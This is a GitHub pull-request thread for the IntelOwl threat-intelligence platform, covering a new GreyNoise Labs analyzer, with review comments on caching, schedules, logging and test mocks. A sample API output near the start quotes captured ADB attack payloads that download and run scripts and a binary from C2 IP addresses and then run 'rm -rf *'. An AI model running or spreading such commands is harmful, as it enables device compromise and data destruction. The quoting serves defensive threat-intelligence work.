fixes #1758 - greynoise labs analyzer #2210

moonpatel · 2024-03-19T21:44:27Z

Closes #1758 . If your PR is made by a single commit, please add that clause in the commit too. This is all required to automate the closure of related issues.)

Description

Please include a summary of the change and link to the related issue.

Type of change

Please delete options that are not relevant.

Bug fix (non-breaking change which fixes an issue).
Breaking change (fix or feature that would cause existing functionality to not work as expected).
New feature (non-breaking change which adds functionality).

Checklist

Important Rules

If you miss to compile the Checklist properly, your PR won't be reviewed by the maintainers.
If your changes decrease the overall tests coverage (you will know after the Codecov CI job is done), you should add the required tests to fix the problem
Everytime you make changes to the PR and you think the work is done, you should explicitly ask for a review. After being reviewed and received a "change request", you should explicitly ask for a review again once you have made the requested changes.

moonpatel · 2024-03-19T21:48:30Z

JSON output:

{
  "noiserank": {
    "errors": [
      {
        "message": "1.23.45.122 was not found in NoiseRank",
        "path": ["noiseRank"]
      }
    ],
    "data": null
  },
  "topknocks": {
    "errors": [
      {
        "message": "1.23.45.122 was not found in KnockKnock",
        "path": ["topKnocks"]
      }
    ],
    "data": null
  },
  "topc2s": {
    "data": {
      "topC2s": {
        "queryInfo": { "resultsAvailable": 1471, "resultsLimit": 147 },
        "c2s": [
          {
            "source_ip": "94.156.69.247",
            "c2_ips": ["103.172.79.74"],
            "c2_domains": [],
            "payload": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000@\u0001\u0000\u0000\u0010b\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://103.172.79.74/w.sh; sh w.sh; curl http://103.172.79.74/c.sh; sh c.sh; wget http://103.172.79.74/wget.sh; sh wget.sh; curl http://103.172.79.74/wget.sh; sh wget.sh; busybox wget http://103.172.79.74/wget.sh; sh wget.sh; busybox curl http://103.172.79.74/wget.sh; sh wget.sh\u0000",
            "hits": 3934,
            "pervasiveness": 92
          },
          {
            "source_ip": "45.90.97.172",
            "c2_ips": ["45.90.97.58"],
            "c2_domains": [],
            "payload": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000u\u0000\u0000\u0000\f%\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://45.90.97.58/skid.arm7; chmod 777 skid.arm7; ./skid.arm7 lol; rm -rf *\u0000",
            "hits": 3745,
            "pervasiveness": 83
          },
......

I have not included the whole response JSON as it was too large

mlodic · 2024-03-20T10:57:56Z

api_app/playbooks_manager/migrations/0029_add_greynoise_labs_analyzer_free_to_use.py

@@ -0,0 +1,33 @@
+# This file is a part of IntelOwl https://github.com/intelowlproject/IntelOwl


this file is not required cause this analyzer requires additional configuration

mlodic · 2024-03-20T11:04:55Z

api_app/analyzers_manager/observable_analyzers/greynoise_labs.py

+    "topc2s": {
+        "query_string": "query TopC2s { topC2s { queryInfo \
+        { resultsAvailable resultsLimit } c2s { source_ip c2_ips \
+        c2_domains payload hits pervasiveness } } } "
+    },
+}
+


I think the analyzer is cool. The only problem regarding this analyzer is this type of query that does not support IP addresses anymore.

For this cases, we usually make the analyzer work in a different way. We maintain a local cache of the data extracted from the Greynoise endpoint (a file in the system) and we open it once the analyzer is triggered.

Thanks to the update method, it is possible to define how to update this file and when.
Please check other analyzers like Tor, Maxmind, Feodo Tracker, etc that do something very similar to what I mentioned

Hey @mlodic , I have added the update method for this class and some modifications in run method. Here is the new output format after changing the run method.

{ "noiserank": { "data": { "noiseRank": { "queryInfo": { "resultsAvailable": 1, "resultsLimit": 1 }, "ips": [ { "ip": "20.235.249.22", "noise_score": 12, "sensor_pervasiveness": "very low", "country_pervasiveness": "low", "payload_diversity": "very low", "port_diversity": "very low", "request_rate": "low" } ] } } }, "topknocks": { "errors": [ { "message": "20.235.249.22 was not found in KnockKnock", "path": ["topKnocks"] } ], "data": null }, "topc2s": { "found": true } }

…e for greynoise analyzer

moonpatel · 2024-03-21T00:29:44Z

Hey @mlodic I have made the required changes, can you review them?

mlodic

great! I think we are almost done!

mlodic · 2024-03-21T11:48:34Z

api_app/analyzers_manager/migrations/0071_analyzer_config_greynoise_labs.py

+        "health_check_schedule": None,
+        "update_schedule": {
+            "minute": "0",
+            "hour": "*",


their docs says:

topC2s Description Return the top 1% of C2s ranked by pervasiveness GreyNoise has observed over the previous 24 hours. This data may be up to 4.5 hours old.

so we can reduce the number of update to once every 6 hours I'd say

mlodic · 2024-03-21T11:52:58Z

api_app/analyzers_manager/observable_analyzers/greynoise_labs.py

+    def _monkeypatch(cls):
+        patches = [
+            if_mock_connections(
+                patch("requests.post", return_value=MockUpResponse({}, 200))


can you please write examples of outputs here in the tests? like the ones that you shared with me

In this way tests would run with a real output and we could also save an example of their reports here.

Please do a mock for every requests you do (2). See feodo tracker as an example

Like one request whose ip is in noiseRank and one which is not in noiseRank, right? @mlodic

basically here the tests will cycle through the list of mocks that you write and use one of them every time the analyzer would try to do a http request of the chosen method.

So basically one mock for each request that you make, so one for each endpoint in greynoise

mlodic · 2024-03-21T11:54:45Z

api_app/analyzers_manager/observable_analyzers/greynoise_labs.py

+        }
+
+        try:
+            logger.info("Fetching data from greynoise API.....")


please log the observable name too here otherwise static logs like this are useless considering that the base class already generates some generic logs like this

mlodic · 2024-03-21T11:54:51Z

api_app/analyzers_manager/observable_analyzers/greynoise_labs.py

+            if not os.path.exists(db_location):
+                return False
+
+            logger.info("Data fetched from greynoise API.....")


mlodic · 2024-03-21T11:56:02Z

api_app/analyzers_manager/migrations/0071_analyzer_config_greynoise_labs.py

+        "base_path": "api_app.analyzers_manager.observable_analyzers",
+    },
+    "name": "Greynoise_Labs",
+    "description": "scan an IP against the Greynoise Labs API (requires authentication token obtained from cookies on greynoise website)",


please add markdown with link to the service here so it will be displayed in the gui

… response in greynoise analyzer

moonpatel · 2024-03-21T13:09:56Z

Hey @mlodic, I made the required changes can you review them?

api_app/analyzers_manager/observable_analyzers/greynoise_labs.py

mlodic

last thing and we are done

moonpatel · 2024-03-21T15:23:58Z

Done @mlodic !

mlodic · 2024-03-21T15:30:37Z

api_app/analyzers_manager/observable_analyzers/greynoise_labs.py

@@ -104,7 +112,9 @@ def _update_db(cls, auth_token: str):
        }

        try:
-            logger.info("Fetching data from greynoise API (Greynoise_Labs).....")
+            logger.info(
+                f"Fetching data from greynoise API ({cls._get_observable_name()})....."


it's enough to use self.observable_name cause it is inherited from the base class :P

but _update_db is class method and it cannot access observabl_name. I have already trie it but does not work. @mlodic

ah you are right, my bad. there is no need of anything else in the log so, you can revert to the previous message

hardcoded? @mlodic

…est mock response in greynoise analyzer" This reverts commit 90a4c22.

moonpatel · 2024-03-21T17:45:36Z

Done @mlodic !

mlodic · 2024-03-22T08:16:00Z

you reverted too many things :P

This reverts commit 6cbf881.

This reverts commit c07df95.

moonpatel · 2024-03-22T11:00:20Z

Done @mlodic. I reverted to a different commit by mistake.

moonpatel · 2024-03-22T15:20:39Z

Are there any more changes required? @mlodic

mlodic · 2024-03-22T15:50:12Z

you could fix the tests :)

moonpatel · 2024-03-22T17:53:34Z

I guess the error occurs when update tries to get auth_token. @mlodic

moonpatel · 2024-03-22T17:55:43Z

api_app/analyzers_manager/observable_analyzers/greynoise_labs.py

+
+    @classmethod
+    def update(cls):
+        auth_token = cls._get_auth_token()


I think this is where the error occurs during testing.. But how to get the auth_token during testing? Like which file should I look for?

first we would need a new test for the update like we have for Feodo Tracker for instance : https://github.com/intelowlproject/IntelOwl/pull/2126/files

then, do not trigger Exception here:

if not os.path.isfile(value["db_location"]) and not self.update(): raise AnalyzerRunException(f"Failed extraction from {key} db")

in this way not only the test would work but the analyzer should not fail if 1 query out of 3 fails.
Please just write an error log but do not trigger the AnalyzerRunException that makes all the analyzer to fail

moonpatel · 2024-03-25T13:06:24Z

Now all the test cases are passing @mlodic .

mlodic · 2024-03-25T14:50:37Z

last error remains

api_app/analyzers_manager/migrations/0071_analyzer_config_greynoise_labs.py

…noise_labs.py

moonpatel · 2024-03-26T15:01:18Z

I tried logging the details of the response received when update is called during testing. It seems that response's status code is 500 and thus it returns False.

I tried sending the request using greynoise labs playground - https://api.labs.greynoise.io/1/docs/ with this header: Authorization: Bearer . To which I received a response with 500 status code.

So I think the problem is that the response.post is not mocked and the request is sent to the original URL. @mlodic

mlodic · 2024-03-26T15:20:01Z

the CI runs with MOCK_CONNECTIONS as True and that actually means that the connection should be mocked. That's not the same if you are testing locally because MOCK_CONNECTIONS is False as default. This is because it makes sense to test the real connection locally.

To debug the problem better please use MOCK_CONNECTIONS as True

moonpatel · 2024-03-26T19:47:02Z

Now there is a different error! @mlodic

g4ze · 2024-03-27T07:21:30Z

Pull from develop, there have been migrations :)

moonpatel · 2024-03-28T07:42:12Z

@mlodic I have opened a new pr with the latest migrations included from develop. (#2210)

mlodic · 2024-03-28T10:39:09Z

Idk why a new PR is necessary but ok :P

added new analyzer - greynoise labs

149aebe

moonpatel changed the title ~~added new analyzer - greynoise labs~~ fixes #1758 - greynoise labs analyzer Mar 19, 2024

mlodic requested changes Mar 20, 2024

View reviewed changes

moonpatel added 2 commits March 20, 2024 21:25

removed 0029_add_greynoise_labs_analyzer_free_to_use.py

0d6464a

added update in greynoise analyzer for topc2s query and migration fil…

0e0a9f2

…e for greynoise analyzer

mlodic requested changes Mar 21, 2024

View reviewed changes

improved logs, added links, changes cron schedule and added test mock…

90a4c22

… response in greynoise analyzer

mlodic reviewed Mar 21, 2024

View reviewed changes

api_app/analyzers_manager/observable_analyzers/greynoise_labs.py Show resolved Hide resolved

mlodic approved these changes Mar 21, 2024

View reviewed changes

replaced hardcoded string with _get_observable_name()

c07df95

mlodic reviewed Mar 21, 2024

View reviewed changes

Revert "improved logs, added links, changes cron schedule and added t…

6cbf881

…est mock response in greynoise analyzer" This reverts commit 90a4c22.

moonpatel added 2 commits March 22, 2024 16:25

fix changes

5397ff1

This reverts commit 6cbf881.

Revert "replaced hardcoded string with _get_observable_name()"

60e56d0

This reverts commit c07df95.

mlodic approved these changes Mar 22, 2024

View reviewed changes

moonpatel commented Mar 22, 2024

View reviewed changes

moonpatel added 2 commits March 25, 2024 18:24

cron_tests for Greynoise_Labs analyzer

bf18209

removed clutter from mockp response body in Greynoise_Labs analyzer

6b1ccf0

mlodic reviewed Mar 25, 2024

View reviewed changes

api_app/analyzers_manager/migrations/0071_analyzer_config_greynoise_labs.py Outdated Show resolved Hide resolved

mlodic added 5 commits March 25, 2024 16:43

Update api_app/analyzers_manager/migrations/0071_analyzer_config_grey…

327324c

…noise_labs.py

fix

57fc5b6

fix

70b8134

fix

3958630

fix

f75b944

fix

5cdc3ad

moonpatel added 2 commits March 27, 2024 02:07

fix

80cdaed

fix

cfe1310

moonpatel closed this Mar 27, 2024

moonpatel reopened this Mar 27, 2024

fix mockup response

5b9025c

mlodic closed this Mar 28, 2024

mlodic mentioned this pull request Mar 28, 2024

fixes #1758 - greynoise labs analyzer #2225

Merged

22 tasks

		@@ -0,0 +1,33 @@
		# This file is a part of IntelOwl https://github.com/intelowlproject/IntelOwl

fixes #1758 - greynoise labs analyzer #2210

fixes #1758 - greynoise labs analyzer #2210

Conversation

moonpatel commented Mar 19, 2024 • edited Loading

Description

Type of change

Checklist

Important Rules

moonpatel commented Mar 19, 2024

Choose a reason for hiding this comment

Choose a reason for hiding this comment

moonpatel Mar 21, 2024 • edited Loading

Choose a reason for hiding this comment

moonpatel commented Mar 21, 2024

mlodic left a comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

moonpatel commented Mar 21, 2024

mlodic left a comment

Choose a reason for hiding this comment

moonpatel commented Mar 21, 2024

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

moonpatel commented Mar 21, 2024

mlodic commented Mar 22, 2024

moonpatel commented Mar 22, 2024

moonpatel commented Mar 22, 2024

mlodic commented Mar 22, 2024

moonpatel commented Mar 22, 2024

moonpatel Mar 22, 2024 • edited Loading

Choose a reason for hiding this comment

Choose a reason for hiding this comment

moonpatel commented Mar 25, 2024 • edited Loading

mlodic commented Mar 25, 2024

moonpatel commented Mar 26, 2024 • edited Loading

mlodic commented Mar 26, 2024

moonpatel commented Mar 26, 2024

g4ze commented Mar 27, 2024

moonpatel commented Mar 28, 2024 • edited Loading

mlodic commented Mar 28, 2024

moonpatel commented Mar 19, 2024 •

edited

Loading

moonpatel Mar 21, 2024 •

edited

Loading

moonpatel Mar 22, 2024 •

edited

Loading

moonpatel commented Mar 25, 2024 •

edited

Loading

moonpatel commented Mar 26, 2024 •

edited

Loading

moonpatel commented Mar 28, 2024 •

edited

Loading